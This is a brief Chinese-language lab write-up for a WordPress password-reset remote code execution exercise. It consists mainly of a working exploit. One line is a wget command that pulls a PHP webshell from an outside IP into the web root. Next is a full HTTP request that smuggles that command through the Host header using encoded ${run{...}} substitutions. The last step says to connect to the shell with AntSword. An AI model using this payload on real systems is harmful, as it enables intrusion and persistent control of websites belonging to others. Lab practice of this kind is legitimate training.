靶场地址：http://whalwl.site:8041/

解题准备：准备POC

解题思路：

1、抓包，准备修改数据包

     执行命令，远程下载一个shell，到靶场网站根目录。

/usr/bin/wget --output-document /var/www/html/999.php 167.160.xxx.217/999.txt

 2、具体请求包：

POST /wp-login.php?action=lostpassword HTTP/1.1Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}999.php${substr{10}{1}{$tod_log}}167.160.xxx.217${substr{0}{1}{$spool_directory}}999.txt}} null) Pragma: no-cache Cache-Control: no-cache DNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9Cookie: wp-settings-2=uploader%3D1%26mfold%3Do; wp-settings-time-2=1627704969; wordpress_test_cookie=WP+Cookie+check Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 56wp-submit=Get+New+Password&redirect_to=&user_login=admin 

3、用蚁剑连接即可